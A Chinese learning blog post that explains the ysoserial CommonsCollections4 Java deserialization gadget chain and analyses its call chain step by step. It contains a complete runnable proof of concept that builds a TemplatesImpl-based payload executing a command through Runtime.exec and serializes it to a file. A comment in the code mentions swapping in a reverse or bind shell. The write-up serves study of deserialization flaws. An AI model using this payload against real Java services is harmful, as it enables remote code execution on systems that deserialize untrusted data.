首页 > 编程语言 >JAVA反序列化学习-CommonsCollections4(基于ysoserial)

JAVA反序列化学习-CommonsCollections4(基于ysoserial)

时间:2024-11-19 14:18:33浏览次数:1  
标签:JAVA org ysoserial commons new apache import 序列化 class

环境准备

JDK1.8(8u421)这里ysoserial没有提及JDK版本的影响,我以本地的JDK8版本为准、commons-collections4(4.0 以ysoserial给的版本为准)、javassist(3.12.1.GA)

cc4.0、ClassPool

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>
<dependency>
    <groupId>javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.12.1.GA</version>
</dependency>

CC4概述

CC4 是 CC2+CC3 的一个变种,用 PriorityQueue 的 TransformingComparator 触发 ChainedTransformer,再利用 InstantiateTransformer 实例化 TemplatesImpl,主要核心还是CC2,只是最后的构造的payload触发从InvokeTranformer变成了InstantiateTransformer ,从而使得Templates构造方法能够被触发最终触发恶意代码。

POC如下

还是对ysoserial的代码的修改版本,可以直接本地运行。

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsCollections4 {

    static String serialFileName = "commons-collections4.ser";

    public static void main(String[] args) throws Exception {
//        cc4byYsoSerial();
        verify();
    }

    public static void verify() throws Exception {
        // 本地模拟反序列化
        FileInputStream fis = new FileInputStream(serialFileName);
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object ignore = (Object) ois.readObject();
    }
    public static void cc4byYsoSerial() throws Exception {

        String executeCode = "Runtime.getRuntime().exec(\"cmd /c start\");";
        ClassPool pool = ClassPool.getDefault();
        CtClass evil = pool.makeClass("ysoserial.Evil");
        // run command in static initializer
        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
        evil.makeClassInitializer().insertAfter(executeCode);
        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
        evil.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(AbstractTranslet.class.getName());
        evil.setSuperclass(superC);

        final byte[] classBytes = evil.toBytecode();
        byte[][] trueclassbyte = new byte[][]{classBytes};

        Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates, trueclassbyte);

        Field name = templatesClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "Pwnr");

        Field tfactory = templatesClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());

        // =============================================================================
        ConstantTransformer constant = new ConstantTransformer(String.class);
        // mock method name until armed
        Class[] paramTypes = new Class[] { String.class };
        Object[] args = new Object[] { "foo" };
        InstantiateTransformer instantiate = new InstantiateTransformer(
                paramTypes, args);


        // grab defensively copied arrays
        Field iParamTypes = instantiate.getClass().getDeclaredField("iParamTypes");
        iParamTypes.setAccessible(true);
        paramTypes = (Class[])iParamTypes.get(instantiate);
        Field iArgs = instantiate.getClass().getDeclaredField("iArgs");
        iArgs.setAccessible(true);
        args = (Object[])iArgs.get(instantiate);

        ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

        // create queue with numbers
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
        queue.add(1);
        queue.add(1);
        // swap in values to arm
//        Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
        Field iConstant = constant.getClass().getDeclaredField("iConstant");
        iConstant.setAccessible(true);
        iConstant.set(constant, TrAXFilter.class);
        paramTypes[0] = Templates.class;
        args[0] = templates;

        FileOutputStream fos = new FileOutputStream(serialFileName);
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(queue);
        oos.flush();
        oos.close();
    }
}

运行调试

来弹个窗口吧

image-20241119142652458

调用链分析

调用链就是CC2和CC3的结合版本,如下:

  • PriorityQueue.readObject()
    • PriorityQueue.heapify()
      • PriorityQueue.siftDown()
        • PriorityQueue.siftDownUsingComparator()
          • TransformingComparator.compare()
            • ChainedTransformer.transform()
              • ConstantTransformer.transform() TrAXFilter
              • InvokerTransformer.transform() Templates
                • TrAXFilter() Templates
                  • TemplatesImpl.newTransformer()
                  • TemplatesImpl.getTransletInstance()
                  • ......
                  • 触发静态代码调用

标签:JAVA,org,ysoserial,commons,new,apache,import,序列化,class
From: https://www.cnblogs.com/erosion2020/p/18554783

相关文章

  • python+vue基于django/flask的连锁超市销售管理系统(超市库存与销售管理平台)java+nodej
    目录技术栈和环境说明具体实现截图预期达到的目标系统设计详细视频演示技术路线解决的思路性能/安全/负载方面可行性分析论证python-flask核心代码部分展示python-django核心代码部分展示研究方法感恩大学老师和同学源码获取技术栈和环境说明本系统以Python开发语言......
  • python+vue基于django/flask的奖学金评定系统(奖学金申请与管理平台)java+nodejs+php-计
    目录技术栈和环境说明具体实现截图预期达到的目标系统设计详细视频演示技术路线解决的思路性能/安全/负载方面可行性分析论证python-flask核心代码部分展示python-django核心代码部分展示研究方法感恩大学老师和同学源码获取技术栈和环境说明本系统以Python开发语言......
  • python+vue基于django/flask的同城篮球赛事场地预约系统java+nodejs+PHP-计算机毕业设
    目录技术栈和环境说明具体实现截图预期达到的目标系统设计详细视频演示技术路线解决的思路性能/安全/负载方面可行性分析论证python-flask核心代码部分展示python-django核心代码部分展示研究方法感恩大学老师和同学源码获取技术栈和环境说明本系统以Python开发语言......
  • Java之Spring MVC篇三
    ​​​​​​​目录响应返回静态页面@RestController和@Controller的区别和联系返回数据@ResponseBody关于@ResponseBody返回HTML代码片段返回JSON设置状态码设置Header设置Content-Type没设置Content-Type之前设置Content-Type之后响应返回静态页面首先......
  • Java的类加载
    1.加载的时机(加载阶段虚拟机需要完成3件事)a.通过一个类的全限定名来获取定义此类的二进制字节流 b.将这个字节流所代表的的静态存储结构转化为方法区的运行时数据结构c.在内存中生成一个代表这个类的java.lang.Class对象,作业方法区这个类的各种数据的访问入口2.验......
  • 【java开发】Java随机数的种子
    在许多领域,比如模拟、游戏和密码学中,随机数担任非常重要的角色。然而,在计算机领域,随机数并非完全随机,它们是由模拟随机性的算法(称为伪随机性)生成的。在Java中,随机种子就是初始化伪随机数生成器(PRNG,PseudoRandomNumberGenerator)的值。我们一起探讨下,Java中随机种子的工作原理......
  • Java与大数据:二本硕士的最佳职业发展路径
    在当前激烈的就业环境下,二本院校的硕士生常常会陷入迷茫-是专注Java开发,还是投身大数据领域?经过多年的行业观察和实践,我想分享一个明确的答案:以Java为根基,再拓展大数据技术,这是一条稳健且高效的发展路径。作为亲历者和观察者,我看到太多求职者在技术选择上走了弯路。有的同学......
  • Javaweb核⼼之转发-重定向
    【⾯面试必备】请求转发RequestDispatcher你知道多少简介:讲解请求转发RequestDispatcher的知识点什么是请求转发:request.getRequestDispatcher(URL地址).forward(request,response)客户端发送请求,Servlet做出业务逻辑处理理。Servlet调⽤用forword()⽅方法,服务器器Servlet把⽬标......
  • [Java] 浮点数的精度丢失问题与精度控制方法
    1需求描述场景1:两个整型相除,如何保证运算结果为浮点数?如何控制运算结果的精度(小数位数)?场景2:针对一个浮点数,如何控制其精度(小数位数)?2试验场景:两整型数相除,控制运算结果、浮点数的精度Longnumber1=110600L;intnumber2=999;intscale=2;//精度n(保留n位小数)/......
  • 记录个Java/Groovy的小问题:空字符串调用split函数返回非空数组
    问题复现最近写了一个groovy替换程序增量流水线脚本(会Java也能看懂),示意脚本如下://获取文件列表方法deflistFiles(folder){defoutput=sh(script:"ls${folder}",returnStdout:true).trim()returnoutput.split('\n')asList}//调用以上方法获取lib目录下......